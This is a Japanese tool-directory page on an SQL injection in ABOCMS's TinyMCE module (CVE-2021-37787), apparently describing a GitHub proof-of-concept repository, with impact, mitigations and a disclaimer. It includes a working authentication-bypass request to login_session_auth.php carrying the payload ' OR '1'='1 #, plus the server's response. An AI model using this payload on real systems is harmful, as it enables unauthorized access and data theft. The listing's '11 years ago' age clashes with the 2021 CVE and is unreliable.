Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-37787 — CVE-2021-37787 | Kitploit
ツール/GitHubGitHub/vasykor/cve-2021-37787
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubvasykor/cve-2021-37787

CVE-2021-37787

CVE-2021-37787

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-37787: TinyMCEモジュールを介したABOCMSのSQLインジェクション

脆弱性の詳細

  • CVE ID: CVE-2021-37787
  • 製品: ABOCMS
  • 影響を受けるバージョン: 5.8.x、≤5.9.3
  • 脆弱性の種類: SQLインジェクション
  • CVSSスコア: 9.8

説明

ABOCMSのTinyMCEモジュールには、深刻なSQLインジェクションの脆弱性が存在します。この脆弱性は、TinyMCEモジュールがデータベースとやり取りする際の入力サニタイズが不十分であるために発生し、攻撃者が悪意のあるSQLクエリを注入することを可能にします。これにより、不正なデータアクセス、データの改ざん、さらには基盤となるデータベース全体の侵害につながる可能性があります。

脆弱なエンドポイントは、ユーザーが提供する入力を処理するTinyMCEモジュールにあります。攻撃者はこの欠陥を悪用して、任意のSQLコマンドを実行できます。

影響

  • 認証バイパス。
  • 機密データの抽出。
  • データベースレコードの変更または削除。
  • データベースの構成によっては、リモートコード実行の可能性。

概念実証(PoC)

POSTリクエスト

root@kitploit:~
POST /js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php HTTP/1.1
Host: <yourdomain.name>
Content-Type: application/x-www-form-urlencoded

return_url=%2Fjs%2Fadmin%2Ftiny_mce%2Fplugins%2Fimagemanager%2Findex.php%3Ftype%3Dim%26page%3Dindex.html&login=1%27+OR+%271%27%3D1+%23&password=1&submit_button=Login

レスポンス

root@kitploit:~
HTTP/1.1 302 Found
Server: nginx-reuseport/1.21.1
Date: <date>
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=30
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
A-Powered-By: ABO.CMS 5.9.3 (fe01ce2a7fbac8fafaed7c982a04e229)
location: /js/admin/tiny_mce/plugins/imagemanager/index.php?type=im&page=index.html

脆弱なエンドポイント

この脆弱性は、以下のエンドポイントを介してトリガーできます:

/js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php /js/admin/tiny_mce/plugins/filemanager/login_session_auth.php

対策

  • ユーザー向け:

    • ABOCMSの最新バージョンにアップグレードしてください。
    • 必須でない場合は、TinyMCEモジュールを無効にしてください。
  • 開発者向け:

    • データベースとのやり取りには、プリペアドステートメントまたはパラメータ化クエリを使用してください。
    • TinyMCEモジュールを最新のセキュアバージョンに更新してください。
    • 悪意のあるペイロードを除外するために、適切な入力検証を実装してください。

免責事項

このPoCは、教育およびセキュリティ研究の目的でのみ提供されています。所有者の明示的な許可なく、このコードを使用してシステムやネットワークに害を及ぼさないでください。著者は、このPoCによって引き起こされた誤用や損害について一切責任を負いません。

ツールをダウンロード